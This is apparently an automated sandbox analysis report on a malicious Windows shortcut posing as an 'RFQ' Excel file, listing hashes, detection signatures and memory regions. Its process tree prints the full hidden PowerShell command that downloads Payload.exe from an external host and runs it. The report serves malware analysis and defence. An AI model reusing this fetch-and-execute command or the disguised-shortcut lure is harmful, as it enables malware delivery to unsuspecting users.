Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    12-11-2024 05:42

General

  • Target

    RFQ - 20246529947.xlsx.lnk

  • Size

    1KB

  • MD5

    4cb51635512723175f9ef97770ed3ebc

  • SHA1

    6a828d4f8d5097aaf9a95d44e6b7603a4d26af96

  • SHA256

    6b8009e2aed88e2cb239c3f9a9799abdb0472bebc816e57a01ca8fa329ad2f1c

  • SHA512

    66a2d7df815a4db840a132880498d2fcd94c45704156771ae61423bdfb95704a4a17d6c7e2b459c528725e747bc6813c707f19d9ba191db1c5cbe7737fb6dd85

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\RFQ - 20246529947.xlsx.lnk"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2068
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://transfer.whalebone.io/7BlhQsgOfX/Payload.exe -OutFile $ENV:USERPROFILE\Downloads\setup_x86.exe; Start-Process $ENV:USERPROFILE\Downloads\setup_x86.exe }"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2904

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2904-38-0x000007FEF5E2E000-0x000007FEF5E2F000-memory.dmp

    Filesize

    4KB

  • memory/2904-39-0x000000001B4D0000-0x000000001B7B2000-memory.dmp

    Filesize

    2.9MB

  • memory/2904-40-0x0000000001D00000-0x0000000001D08000-memory.dmp

    Filesize

    32KB

  • memory/2904-41-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

    Filesize

    9.6MB

  • memory/2904-42-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

    Filesize

    9.6MB

  • memory/2904-43-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

    Filesize

    9.6MB

  • memory/2904-44-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

    Filesize

    9.6MB